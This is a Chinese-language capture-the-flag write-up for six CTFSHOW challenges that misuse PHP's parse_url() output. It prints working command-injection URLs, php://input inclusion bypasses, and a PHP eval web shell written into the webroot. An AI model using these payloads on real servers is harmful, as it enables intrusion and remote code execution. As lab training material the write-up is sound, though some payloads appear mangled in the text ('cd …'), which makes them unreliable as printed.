您现在的位置是:首页 >其他 >CTFSHOW_周末大挑战网站首页其他
CTFSHOW_周末大挑战
第一关
$data = parse_url($_GET['u']);
eval($data['host']);
这里呢先了解parse_url是干啥的
对照
只要知道了他每个数组对应的位置在哪里就好了
这里呢可以rce的
?u=//system(‘ls’);/
不过呢发现www目录下没有flag,只能往前面找,但是不可以由/,加了的话自动默认后面的是path了
所以搞一个命令拼接,利用;
?u=//system('cd … ; cd … ; cd … ; ls ');/
这样的话就可以看到根目录了
然后ls改成tac 就可以读取flag了
?u=//system(‘cd … ; cd … ; cd … ; tac flag_is_here.txt’);/
第二关
$data = parse_url($_GET['u']);
include $data['host'].$data['path'];
这里面有个include函数,所以我们可以使用文件包含
可以直接?u=//php:: //input 本来是只有一个冒号的,但是这里面会默认最后一个冒号后面是端口port,所以加一个绕过
然后直接rce即可
第三关
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];
这里的scheme跟前面的表对比发现是个头(这里冒号后面不是//自动默认后面是path而不是host)
所以构造?u=php:: //input
这里这个payload是我在本地试了几次试出来的
然后直接rce即可
第四题
$data = parse_url($_GET['u']);
system($data['host']);
这里完全可以参考第一题的思路,直接就是system了都不用你再写了
?u=//cd … ; cd … ; cd … ; ls
发现flag文件后
?u=//cd … ; cd … ; cd … ; tac 1_f1ag_1s_h3re
第五题
extract(parse_url($_GET['u']));
include $$$$$$host;
这里呢还是include所以理论上还是要构造php://input
这里呢有个$$$$$$host
刚好可以借助这个例子
浅浅来构造一下
$host=scheme
$$host=$scheme=user
$$$host=$$scheme=$user=pass
$$$$host=$$$scheme=$$user=$pass=querry
$$$$$host=$$$$scheme=$$$user=$$pass=$query=fragment
$$$$$$host=$$$$$scheme=$$$$user=$$$pass=$$query=$fragment=#php://input
user://pass:querry@scheme/666?fragment#php://input
在url中#相当于截断了,所以呢这里需要转义%23
user://pass:query@scheme/666?fragment%23php://input
然后直接rce即可
第六关
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);
看函数,第一个是文件名,第二个是你要写进去的字符串
?u=// /var/www/html/flag.php
因为path前面必有一个/,所以我们从根目录写起
本来是想直接一句话的,结果没想到他这里面过滤了问号,卡了我好久
后面发现一句话的问号只是存在于他的标签之中,那如果我们用长标签的话岂不是就可以上马了
<script language="php"> eval($_POST[1]); </script>
加到前面就是?u=// <script language="php"> eval($_POST[1]); /var/www/html/flag.php
php中标签可以只写前面,后面可以省略,这里省略是因为由/,会影响原定的path
然后直接连蚁剑即可
这里的flag是我自己传的,真正的flag在根目录里